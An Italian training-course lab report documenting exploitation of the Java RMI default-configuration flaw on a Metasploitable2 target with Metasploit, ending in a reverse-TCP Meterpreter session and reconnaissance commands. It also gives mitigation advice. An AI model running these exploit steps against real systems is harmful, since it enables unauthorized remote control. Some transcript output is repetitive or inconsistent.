

REPORT TECNICO FINALE: POTESTÀ DI RETE E SFRUTTAMENTO DELLA VULNERABILITÀ JAVA RMI

Corso di Formazione Specialistica in Cybersecurity & Ethical Hacking

Candidato: Leandro Ancona

Data di Esecuzione: Maggio 2026

1. Considerazioni ed Obiettivi del Laboratorio

Nel panorama della sicurezza informatica moderna, la corretta segmentazione della rete e l'**hardening** dei servizi aziendali rappresentano i pilastri fondamentali per la difesa degli asset critici. Questo scenario di laboratorio simula una porzione di infrastruttura aziendale in cui la macchina attaccante (**Kali Linux**) e la macchina target (**Metasploitable2**) operano all'interno di una subnet dedicata e isolata.

L'obiettivo principale di questo report è documentare analiticamente l'identificazione e lo sfruttamento di una severa vulnerabilità di esecuzione remota di codice (RCE) presente sul servizio **Java RMI (Remote Method Invocation)**, attestato sulla porta standard **1099**. Attraverso l'uso del framework Metasploit, verrà illustrato l'intero ciclo dell'attacco: dalla configurazione iniziale dei parametri di rete alla compromissione del target, fino alla raccolta delle evidenze post-exploitation (configurazione di rete e analisi del routing). Questo documento funge da prova tecnica delle debolezze strutturali derivanti da configurazioni di default insicure.

2. Fase Preliminare: Configurazione delle Interfacce di Rete

Per garantire la raggiungibilità e il corretto instradamento dei pacchetti durante le fasi del penetration test, si è proceduto alla configurazione manuale degli indirizzi IP statici su entrambe le macchine all'interno della subnet 192.168.11.0/24.

Configurazione su Metasploitable2

Il file **/etc/network/interfaces** della macchina vittima è stato editato per forzare l'assegnazione statica dell'IP richiesto dai vincoli d'esame.

L'applicazione dei parametri è stata verificata con successo tramite il comando **ifconfig**:

- **IP Assegnato:** 192.168.11.111
- **Netmask:** 255.255.255.0
- **Gateway:** 192.168.11.1

```
auto eth0
iface eth0 inet static
    address 192.168.11.111
    netmask 255.255.255.0
    gateway 192.168.11.1
```

Configurazione su Kali Linux

Simmetricamente, la macchina attaccante Kali Linux è stata configurata per attestarsi sull'indirizzo IP statico 192.168.11.112 con la medesima maschera di sottorete, garantendo così il perfetto accoppiamento di rete a livello Layer 3.

```
auto eth0
iface eth0 inet static
    address 192.168.11.112
    netmask 255.255.255.0
    gateway 192.168.11.1
```

3. Walkthrough dell'Attacco: Sfruttamento di Java RMI

Passo 1 & 2: Ricerca e Selezione del Modulo di Exploit

Dalla console di Metasploit (msfconsole), è stata effettuata una ricerca mirata per i moduli associati al servizio Java RMI. È stato selezionato l'exploit d'eccellenza progettato per abusare della configurazione insicura del registro RMI.

```
msf6 > search java_RMI
msf6 > use exploit/multi/misc/java_rmi_server
```

```
msf > search java_RMI

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/gather/java_rmi_registry        .               normal  No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  \_ target: Generic (Java Payload)         .               .       .       .
3  \_ target: Windows x86 (Native Payload)   .               .       .       .
4  \_ target: Linux x86 (Native Payload)     .               .       .       .
5  \_ target: Mac OS X PPC (Native Payload)  .               .       .       .
6  \_ target: Mac OS X x86 (Native Payload)  .               .       .       .
7  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal  No     Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > show options

msf exploit(multi/misc/java_rmi_server) > show options
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > show options
```

Passo 3: Configurazione dei Parametri d'Attacco

Una volta caricato il modulo, sono state impostate le variabili globali indispensabili per direzionare l'attacco e stabilire il canale di ritorno per la sessione interattiva.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.111
```

Verificando le opzioni del modulo con il comando show options, si nota l'architettura complessiva dell'attacco. Il payload predefinito scelto automaticamente dal framework è **java/meterpreter/reverse_tcp**

```
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.11.112 yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SRVSSL    false           no        Negotiate SSL/TLS for local server connections
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   Path to a custom SSL certificate (default is randomly generated)
URIPATH   no              no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.112 yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.111
RHOSTS => 192.168.11.111
```

```
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.111
RHOSTS => 192.168.11.111
```

NOTA DI NOTEVOLE SUCCESSO OPERATIVO (Invarianza del Timeout)

A differenza di quanto comunemente riscontrato in ambienti di laboratorio ad alta latenza (dove si rende necessario incrementare il valore del parametro **HTTPDELAY**), **nel corso di questa sessione l'exploit ha risposto istantaneamente**. Il server web integrato in Metasploit ha servito il payload **JAR** malevolo senza alcuna esitazione, portando l'attacco a compimento al primo tentativo e con i parametri di time-out nativi.

4. Esecuzione dell'Exploit e Post-Exploitation

Lanciando il comando exploit, il modulo ha contattato il registro RMI sulla porta 1099 del target, forzando la macchina **Metasploitable** ad effettuare una chiamata di ritorno (Callback) verso la macchina **Kali** sulla porta locale **8080** per scaricare l'agente **Meterpreter**.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

Come evidenziato nello screenshot, l'exploit ha esito positivo e viene aperta la **Sessione 1 di Meterpreter** (192.168.11.112:4444 -> 192.168.11.111:49495)

```
msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.112:4444
[*] 192.168.11.111:1099 - Using URL: http://192.168.11.112:8080/vTglvh0S8i159
[*] 192.168.11.111:1099 - Server started.
[*] 192.168.11.111:1099 - Sending RMI Header ...
[*] 192.168.11.111:1099 - Sending RMI Call ...
[*] 192.168.11.111:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.111
[*] Meterpreter session 1 opened (192.168.11.112:4444 -> 192.168.11.111:49495) at 2026-05-24 17:42:50 -0400

meterpreter > _
```

Verifica della Sessione Attiva

Una volta ottenuto il prompt interattivo, l'esecuzione del comando **sysinfo** certifica l'avvenuta compromissione della macchina remota **metasploitable**, che monta un

kernel Linux 2.6.24-16-server su architettura x86.

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture  : x86
System Language : en_US
Meterpreter   : java/linux
```

5. Raccolta delle Evidenze Richieste dalla Traccia

Evidenza 1: Configurazione di Rete della Vittima (ifconfig)

Il comando permette di validare l'identità del target dall'interno della sessione d'attacco. L'interfaccia eth0 mostra l'indirizzo della vittima confermando la corrispondenza dei dati di laboratorio.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.111
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd77:7466:7c09:0:a00:27ff:fe80:278f
IPv6 Netmask : ::
IPv6 Address : 2001:b07:6475:f434:a00:27ff:fe80:278f
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fe80:278f
IPv6 Netmask : ::
```

Evidenza 2: Tabella di Routing del Target (route)

L'estrazione della tabella di instradamento mostra i percorsi di rete attivi e i gateway configurati sulla macchina **Metasploitable**, elemento essenziale in una vera attività di Red Teaming per pianificare eventuali manovre di **pivoting** (movimento laterale).

```
meterpreter > route
```

```
IPv4 network routes
```

<u>Subnet</u>	<u>Netmask</u>	<u>Gateway</u>	<u>Metric</u>	<u>Interface</u>
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.111	255.255.255.0	0.0.0.0		

6. Conclusioni

L'esperienza condotta in questo laboratorio evidenzia in modo inequivocabile come la presenza di servizi legacy o non protetti costituisca una vera e propria autostrada per gli attori malevoli. Lo sfruttamento del registro **Java RMI** non ha richiesto tecniche di offuscamento sofisticate né il superamento di barriere difensive complesse: l'assenza di meccanismi di autenticazione robusti e la mancata sanificazione delle chiamate remote hanno permesso di ottenere un controllo totale del sistema (un agente **Meterpreter** con privilegi elevati) in pochissimi secondi.

In qualità di futuro professionista della sicurezza informatica, questo esercizio non rappresenta semplicemente il completamento di una traccia d'esame, ma una dimostrazione pragmatica di un concetto fondamentale: **la sicurezza non è un prodotto, è un processo**.

Finché le aziende permetteranno a servizi vulnerabili di esporsi sulla rete senza un monitoraggio costante (**IDS/IPS**) e senza un'adeguata segmentazione tramite firewalling, l'intrusione rimarrà solo una questione di "quando", e mai di "se". La mitigazione corretta di questa specifica minaccia non risiede nell'aumento dei timeout, ma nella disattivazione dei servizi superflui o nell'implementazione di policy di filtraggio degli accessi a livello di trasporto.